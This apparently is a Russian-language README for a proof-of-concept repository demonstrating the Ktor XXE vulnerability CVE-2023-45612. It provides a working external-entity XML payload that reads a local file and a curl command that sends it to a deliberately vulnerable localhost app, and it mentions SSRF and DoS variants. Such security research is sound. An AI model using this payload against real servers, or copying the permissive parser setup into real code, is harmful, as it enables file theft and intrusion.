
Ktor XXE-инъекция: Proof-of-Concept (CVE-2023-45612)
Воздействие: произвольный доступ к файлам через специально сформированный XML DTD с XXE-ссылкой.
Корневая причина: небезопасный парсер XML-документов.
Этот репозиторий содержит уязвимое приложение Ktor 2.3.4, настроенное на разрешение внешних сущностей, чтобы эффект XXE был наглядно виден.
Уязвимое приложение Ktor (v2.3.4) для демонстрации инъекции внешних XML-сущностей (CVE-2023-45612).
CVE-2023-45612 — это ошибка XXE (внешняя XML-сущность) в ContentNegotiation Ktor, когда XML включён в версиях до 2.3.5.
Эта уязвимость соответствует CWE-611: Неограничение ссылок на внешние XML-сущности.
XXE входит в категорию рисков OWASP Top 10 A05:2021 — Ошибки безопасности конфигурации, но также является проблемой небезопасного проектирования, поскольку причина — неограничивающий XML-парсер.
Сообщил Ulf Karlsson — см. заметки JetBrains по безопасности.
Версии Ktor старше 2.3.5
Моё окружение для воспроизведения проблемы:
XML-документы могут опционально содержать определение типа документа (DTD), которое, среди прочих возможностей, позволяет определять XML-сущности. Можно определить сущность, указав строку подстановки в виде URI. XML-парсер может получить содержимое этого URI и встроить его обратно в XML-документ для дальнейшей обработки.
Отправляя XML-файл, определяющий внешнюю сущность с URI вида file://, атакующий может заставить обрабатывающее приложение прочитать содержимое локального файла.
Например, URI вида "file:///c:/winnt/win.ini" указывает (в Windows) на файл C:\Winnt\win.ini, а file:///etc/passwd указывает на файл паролей в Unix-системах.
(https://cwe.mitre.org/data/definitions/611.html)
Выполняется POST-запрос к конечной точке http://localhost:8080/xml.
Запрос отправляет XML-файл exploit/payloads/xxe-demo-file.xml, содержащий элемент <!DOCTYPE>, в котором ссылаются на внешнюю сущность — в данном случае exploit/etc/secret.txt.
Это потенциально может быть любой другой файл в системе, к которому процесс имеет доступ.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
XML-парсер (настроенный на разрешение DTD) обрабатывает этот элемент и извлекает данные ресурса.
Внешняя ссылка также может быть путём к SSRF-конечной точке или указывать на большой файл, чтобы занять системные ресурсы (DoS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Ожидаемый результат (уязвимая версия):
В консоли выводится:
Received: <external entity data>
Ожидаемый результат (безопасная версия):
400 Bad Requestили аналогичный ответ (XML-парсер блокирует определение типа документа)
Выполните команду:

Отправьте XXE-пейлоад с помощью cURL и получите результат с содержимым внедрённого файла:

Серьёзность — высокая/критическая. Возможны чтение локальных файлов, SSRF-атака, DoS-атака и другие воздействия на систему.
Базовая оценка NVD: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)